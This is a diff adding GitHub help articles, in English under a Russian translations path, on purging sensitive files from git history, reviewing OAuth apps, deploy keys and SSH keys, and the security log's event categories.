+ - Force Git to process, but not check out, the entire history of every branch and tag + - Remove the specified file, as well as any empty commits generated as a result + - Remove some configurations, such as the remote URL, stored in the *.git/config* file. You may want to back up this file in advance for restoration later. + - **Overwrite your existing tags** + ```shell + $ git filter-repo --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA + Parsed 197 commits + New history written in 0.11 seconds; now repacking/cleaning... + Repacking your repo and cleaning out old unneeded objects + Enumerating objects: 210, done. + Counting objects: 100% (210/210), done. + Delta compression using up to 12 threads + Compressing objects: 100% (127/127), done. + Writing objects: 100% (210/210), done. + Building bitmaps: 100% (48/48), done. + Total 210 (delta 98), reused 144 (delta 75), pack-reused 0 + Completely finished after 0.64 seconds. + ``` + + {% note %} + + **Note:** If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must run this command on those paths, as well. + + {% endnote %} + +5. Add your file with sensitive data to `.gitignore` to ensure that you don't accidentally commit it again. + + ```shell + $ echo "YOUR-FILE-WITH-SENSITIVE-DATA" >> .gitignore + $ git add .gitignore + $ git commit -m "Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore" + > [main 051452f] Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore + > 1 files changed, 1 insertions(+), 0 deletions(-) + ``` +6. Double-check that you've removed everything you wanted to from your repository's history, and that all of your branches are checked out. +7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, as well as all the branches you've pushed up. A force push is required to remove sensitive data from your commit history. + ```shell + $ git push origin --force --all + > Counting objects: 1074, done. + > Delta compression using 2 threads. + > Compressing objects: 100% (677/677), done. + > Writing objects: 100% (1058/1058), 148.85 KiB, done. + > Total 1058 (delta 590), reused 602 (delta 378) + > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME.YOUR-REPOSITORY.git + > + 48dc599...051452f main -> main (forced update) + ``` +8. In order to remove the sensitive file from [your tagged releases](/articles/about-releases), you'll also need to force-push against your Git tags: + ```shell + $ git push origin --force --tags + > Counting objects: 321, done. + > Delta compression using up to 8 threads. + > Compressing objects: 100% (166/166), done. + > Writing objects: 100% (321/321), 331.74 KiB | 0 bytes/s, done. + > Total 321 (delta 124), reused 269 (delta 108) + > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY.git + > + 48dc599...051452f main -> main (forced update) + ``` + +## Fully removing the data from {% data variables.product.prodname_dotcom %} + +After using either the BFG tool or `git filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.product_name %}, you must take a few more steps to fully remove the data from {% data variables.product.product_name %}. + +1. Contact {% data variables.contact.contact_support %}, asking them to remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %}. Please provide the name of the repository and/or a link to the commit you need removed.{% ifversion ghes %} For more information about how site administrators can remove unreachable Git objects, see "[Command line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-repo-gc)."{% endif %} + +2. Tell your collaborators to [rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *not* merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging. + +3. After some time has passed and you're confident that the BFG tool / `git filter-repo` had no unintended side effects, you can force all objects in your local repository to be dereferenced and garbage collected with the following commands (using Git 1.8.5 or newer): + ```shell + $ git for-each-ref --format="delete %(refname)" refs/original | git update-ref --stdin + $ git reflog expire --expire=now --all + $ git gc --prune=now + > Counting objects: 2437, done. + > Delta compression using up to 4 threads. + > Compressing objects: 100% (1378/1378), done. + > Writing objects: 100% (2437/2437), done. + > Total 2437 (delta 1461), reused 1802 (delta 1048) + ``` + {% note %} + + **Note:** You can also achieve this by pushing your filtered history to a new or empty repository and then making a fresh clone from {% data variables.product.product_name %}. + + {% endnote %} + +## Avoiding accidental commits in the future + +There are a few simple tricks to avoid committing things you don't want committed: + +- Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit. +- Avoid the catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead. +- Use `git add --interactive` to individually review and stage changes within each file. +- Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag. + +## Further reading + +- [`git filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html) +- [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/Git-Tools-Rewriting-History) +- "[About Secret scanning](/code-security/secret-security/about-secret-scanning)" diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth.md new file mode 100644 index 000000000000..5f0b59df703a --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth.md @@ -0,0 +1,26 @@ +--- +title: Reviewing your authorized applications (OAuth) +intro: 'You should review your authorized applications to verify that no new applications with expansive permissions are authorized, such as those that have access to your private repositories.' +redirect_from: + - /articles/reviewing-your-authorized-applications-oauth + - /github/authenticating-to-github/reviewing-your-authorized-applications-oauth + - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Review OAuth apps +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.access_applications %} +{% data reusables.user-settings.access_authorized_oauth_apps %} +{% data reusables.user-settings.review-oauth-apps %} + +## Further reading +{% ifversion fpt or ghec %} +- "[About integrations](/articles/about-integrations)"{% endif %} +- "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)" diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations.md new file mode 100644 index 000000000000..ca603a39567b --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations.md @@ -0,0 +1,37 @@ +--- +title: Reviewing your authorized integrations +intro: You can review your authorized integrations to audit the access that each integration has to your account and data. +redirect_from: + - /articles/reviewing-your-authorized-integrations + - /github/authenticating-to-github/reviewing-your-authorized-integrations + - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Authorized integrations +--- +## Reviewing your authorized {% data variables.product.prodname_oauth_apps %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.access_applications %} +{% data reusables.user-settings.access_authorized_oauth_apps %} +{% data reusables.user-settings.review-oauth-apps %} + +## Reviewing your authorized {% data variables.product.prodname_github_apps %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.access_applications %} +3. Click the **Authorized {% data variables.product.prodname_github_apps %}** tab. +![Authorized {% data variables.product.prodname_github_apps %} tab](/assets/images/help/settings/settings-authorized-github-apps-tab.png) +3. Review the {% data variables.product.prodname_github_apps %} that have access to your account. For those that you don't recognize or that are out of date, click **Revoke**. To revoke all {% data variables.product.prodname_github_apps %}, click **Revoke all**. + ![List of authorized {% data variables.product.prodname_github_app %}](/assets/images/help/settings/revoke-github-app.png) + +## Further reading +{% ifversion fpt or ghec %} +- "[About integrations](/articles/about-integrations)"{% endif %} +- "[Reviewing your authorized applications (OAuth)](/articles/reviewing-your-authorized-applications-oauth)" diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md new file mode 100644 index 000000000000..8e1b0473ec0c --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md @@ -0,0 +1,32 @@ +--- +title: Reviewing your deploy keys +intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid. +redirect_from: + - /articles/reviewing-your-deploy-keys + - /github/authenticating-to-github/reviewing-your-deploy-keys + - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-deploy-keys +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Deploy keys +--- +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +3. In the "Security" section of the sidebar, click **{% octicon "key" aria-label="The key icon" %} Deploy keys**. +{% else %} +3. In the left sidebar, click **Deploy keys**. +![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png) +{% endif %} +4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**. + ![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png) + +For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)." + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md new file mode 100644 index 000000000000..9393626b1ea4 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md @@ -0,0 +1,278 @@ +--- +title: Reviewing your security log +intro: You can review the security log for your personal account to better understand actions you've performed and actions others have performed that involve you. +miniTocMaxHeadingLevel: 3 +redirect_from: + - /articles/reviewing-your-security-log + - /github/authenticating-to-github/reviewing-your-security-log + - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-security-log +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Security log +--- +## Accessing your security log + +The security log lists all actions performed within the last 90 days. + +{% data reusables.user-settings.access_settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Archives" section of the sidebar, click **{% octicon "log" aria-label="The log icon" %} Security log**. +{% else %} +1. In the user settings sidebar, click **Security log**. + ![Security log tab](/assets/images/help/settings/audit-log-tab.png) +{% endif %} + +## Searching your security log + +{% data reusables.audit_log.audit-log-search %} + +### Search based on the action performed + +The events listed in your security log are triggered by your actions. Actions are grouped into the following categories: + +| Category name | Description +|------------------|-------------------{% ifversion fpt or ghec %} +| [`billing`](#billing-category-actions) | Contains all activities related to your billing information. +| [`codespaces`](#codespaces-category-actions) | Contains all activities related to {% data variables.product.prodname_github_codespaces %}. For more information, see "[About {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)." +| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement. +| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %} +| [`oauth_access`](#oauth_access-category-actions) | Contains all activities related to [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) you've connected with.{% ifversion fpt or ghec %} +| [`payment_method`](#payment_method-category-actions) | Contains all activities related to paying for your {% data variables.product.prodname_dotcom %} subscription.{% endif %}{% ifversion pat-v2%} +| [`personal_access_token`](#personal_access_token-category-actions) | Contains activities related to {% data variables.product.pat_v2 %}s. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."{% endif %} +| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your profile picture. +| [`project`](#project-category-actions) | Contains all activities related to project boards. +| [`public_key`](#public_key-category-actions) | Contains all activities related to [your public SSH keys](/articles/adding-a-new-ssh-key-to-your-github-account). +| [`repo`](#repo-category-actions) | Contains all activities related to the repositories you own.{% ifversion fpt or ghec %} +| [`sponsors`](#sponsors-category-actions) | Contains all events related to {% data variables.product.prodname_sponsors %} and sponsor buttons (see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" and "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %} +| [`team`](#team-category-actions) | Contains all activities related to teams you are a part of.{% endif %}{% ifversion not ghae %} +| [`two_factor_authentication`](#two_factor_authentication-category-actions) | Contains all activities related to [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %} +| [`user`](#user-category-actions) | Contains all activities related to your account. + +{% ifversion fpt or ghec %} + +## Exporting your security log + +{% data reusables.audit_log.export-log %} +{% data reusables.audit_log.exported-log-keys-and-values %} + +{% endif %} + +## Security log actions + +An overview of some of the most common actions that are recorded as events in the security log. + +{% ifversion fpt or ghec %} + +### `billing` category actions + +| Action | Description +|------------------|------------------- +| `change_billing_type` | Triggered when you [change how you pay](/articles/adding-or-editing-a-payment-method) for {% data variables.product.prodname_dotcom %}. +| `change_email` | Triggered when you [change your email address](/articles/changing-your-primary-email-address). + +### `codespaces` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when you [create a codespace](/github/developing-online-with-codespaces/creating-a-codespace). +| `resume` | Triggered when you resume a suspended codespace. +| `delete` | Triggered when you [delete a codespace](/github/developing-online-with-codespaces/deleting-a-codespace). +| `manage_access_and_security` | Triggered when you update [the repositories a codespace has access to](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). +| `trusted_repositories_access_update` | Triggered when you change your personal account's [access and security setting for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). + +### `marketplace_agreement_signature` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement. + +### `marketplace_listing` category actions + +| Action | Description +|------------------|------------------- +| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}. +| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}. +| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}. +| `redraft` | Triggered when your listing is sent back to draft state. +| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}. + +{% endif %} + +### `oauth_authorization` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when you [grant access to an {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps). +| `destroy` | Triggered when you [revoke an {% data variables.product.prodname_oauth_app %}'s access to your account](/articles/reviewing-your-authorized-integrations) and when [authorizations are revoked or expire](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation). + +{% ifversion fpt or ghec %} + +### `payment_method` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account. +| `update` | Triggered when an existing payment method is updated. + +{% endif %} + +{% ifversion pat-v2 %} + +### `personal_access_token` category actions + +| Action | Description +|------------------|------------------- +| `access_granted` | Triggered when a {% data variables.product.pat_v2 %} that you created is granted access to resources. +| `access_revoked` | Triggered when a {% data variables.product.pat_v2 %} that you created is revoked. The token can still read public organization resources. +| `create` | Triggered when you create a {% data variables.product.pat_v2 %}. +| `credential_regenerated` | Triggered when you regenerate a {% data variables.product.pat_v2 %}. +| `destroy` | Triggered when you delete a {% data variables.product.pat_v2 %}. +| `request_cancelled` | Triggered when you cancel a pending request for your {% data variables.product.pat_v2 %} to access organization resources. +| `request_created` | Triggered when you create a {% data variables.product.pat_v2 %} to access organization resources and the organization requires approval before a {% data variables.product.pat_v2 %} can access organization resources. +| `request_denied` | Triggered when your request for a {% data variables.product.pat_v2 %} to access organization resources is denied. For more information, see "[Managing requests for {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization)." + +{% endif %} + +### `profile_picture` category actions + +| Action | Description +|------------------|------------------- +| `update` | Triggered when you [set or update your profile picture](/articles/setting-your-profile-picture/). + +### `project` category actions + +| Action | Description +|--------------------|--------------------- +| `access` | Triggered when a project board's visibility is changed. +| `create` | Triggered when a project board is created. +| `rename` | Triggered when a project board is renamed. +| `update` | Triggered when a project board is updated. +| `delete` | Triggered when a project board is deleted. +| `link` | Triggered when a repository is linked to a project board. +| `unlink` | Triggered when a repository is unlinked from a project board. +| `update_user_permission` | Triggered when an outside collaborator is added to or removed from a project board or has their permission level changed. + +### `public_key` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account). +| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys). + +### `repo` category actions + +| Action | Description +|------------------|------------------- +| `access` | Triggered when you a repository you own is [switched from "private" to "public"](/articles/making-a-private-repository-public) (or vice versa). +| `add_member` | Triggered when a {% data variables.product.product_name %} user is {% ifversion fpt or ghec %}[invited to have collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% else %}[given collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% endif %} to a repository. +| `add_topic` | Triggered when a repository owner [adds a topic](/articles/classifying-your-repository-with-topics) to a repository. +| `archived` | Triggered when a repository owner [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %} +| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository. +| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository. +| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access). +| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %} +| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository). +| `destroy` | Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %} +| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %} +| `download_zip` | Triggered when a ZIP or TAR archive of a repository is downloaded. +| `enable` | Triggered when a repository is re-enabled.{% endif %} +| `remove_member` | Triggered when a {% data variables.product.product_name %} user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository). +| `remove_topic` | Triggered when a repository owner removes a topic from a repository. +| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository). +| `staff_unlock` | Triggered when an enterprise owner or {% data variables.contact.github_support %} (with permission from a repository administrator) temporarily unlocked the repository. The visibility of the repository isn't changed. +| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository). +| `transfer_start` | Triggered when a repository transfer is about to occur. +| `unarchived` | Triggered when a repository owner unarchives a repository. + +{% ifversion fpt or ghec %} +### `sponsors` category actions + +| Action | Description +|------------------|------------------- +| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)") +| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)") +| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)") +| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") +| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") +| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored developer (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)") +| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)") +| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)") +| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)") +| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled +| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state +| `sponsored_developer_profile_update` | Triggered when you edit your sponsored developer profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)") +| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)") +| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)") +| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)") +| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)") +| `waitlist_join` | Triggered when you join the waitlist to become a sponsored developer (see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)") +{% endif %} + +{% ifversion fpt or ghec %} +### `successor_invitation` category actions + +| Action | Description +|------------------|------------------- +| `accept` | Triggered when you accept a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") +| `cancel` | Triggered when you cancel a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") +| `create` | Triggered when you create a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") +| `decline` | Triggered when you decline a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") +| `revoke` | Triggered when you revoke a succession invitation (see "[Maintaining ownership continuity of your personal account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") +{% endif %} + +{% ifversion ghes or ghae %} + +### `team` category actions + +| Action | Description +|------------------|------------------- +| `add_member` | Triggered when a member of an organization you belong to [adds you to a team](/articles/adding-organization-members-to-a-team). +| `add_repository` | Triggered when a team you are a member of is given control of a repository. +| `create` | Triggered when a new team in an organization you belong to is created. +| `destroy` | Triggered when a team you are a member of is deleted from the organization. +| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team) you are a member of. +| `remove_repository` | Triggered when a repository is no longer under a team's control. + +{% endif %} + +{% ifversion not ghae %} +### `two_factor_authentication` category actions + +| Action | Description +|------------------|------------------- +| `enabled` | Triggered when [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) is enabled. +| `disabled` | Triggered when two-factor authentication is disabled. +{% endif %} + +### `user` category actions + +| Action | Description +|--------------------|--------------------- +| `add_email` | Triggered when you {% ifversion not ghae %}[add a new email address](/articles/changing-your-primary-email-address){% else %}add a new email address{% endif %}.{% ifversion fpt or ghec %} +| `codespaces_trusted_repo_access_granted` | Triggered when you [allow the codespaces you create for a repository to access other repositories owned by your personal account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). +| `codespaces_trusted_repo_access_revoked` | Triggered when you [disallow the codespaces you create for a repository to access other repositories owned by your personal account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). {% endif %} +| `create` | Triggered when you create a new personal account.{% ifversion not ghae %} +| `change_password` | Triggered when you change your password. +| `forgot_password` | Triggered when you ask for [a password reset](/articles/how-can-i-reset-my-password).{% endif %} +| `hide_private_contributions_count` | Triggered when you [hide private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile). +| `login` | Triggered when you log in to {% data variables.location.product_location %}.{% ifversion ghes or ghae %} +`mandatory_message_viewed` | Triggered when you view a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %} +| `failed_login` | Triggered when you failed to log in successfully. +| `remove_email` | Triggered when you remove an email address. +| `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %} +| `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %} +| `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %} +| `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %} + +### `user_status` category actions + +| Action | Description +|--------------------|--------------------- +| `update` | Triggered when you set or change the status on your profile. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)." +| `destroy` | Triggered when you clear the status on your profile. diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md new file mode 100644 index 000000000000..65491b57609c --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md @@ -0,0 +1,108 @@ +--- +title: Reviewing your SSH keys +intro: 'To keep your credentials secure, you should regularly audit your SSH keys, deploy keys, and review authorized applications that access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.' +redirect_from: + - /articles/keeping-your-application-access-tokens-safe + - /articles/keeping-your-ssh-keys-and-application-access-tokens-safe + - /articles/reviewing-your-ssh-keys + - /github/authenticating-to-github/reviewing-your-ssh-keys + - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-ssh-keys +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +--- +You can delete unauthorized (or possibly compromised) SSH keys to ensure that an attacker no longer has access to your repositories. You can also approve existing SSH keys that are valid. + +{% mac %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**. + ![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png) + + {% tip %} + + **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys. + + {% endtip %} + +4. Open Terminal. + +{% data reusables.command_line.start_ssh_agent %} + +6. Find and take a note of your public key fingerprint. + ```shell + $ ssh-add -l -E sha256 + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + +7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer. + +{% endmac %} + +{% windows %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**. + ![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png) + + {% tip %} + + **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys. + + {% endtip %} + +4. Open Git Bash. + +5. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %} + + {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %} + +6. Find and take a note of your public key fingerprint. + ```shell + $ ssh-add -l -E sha256 + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + +7. The SSH keys on {% data 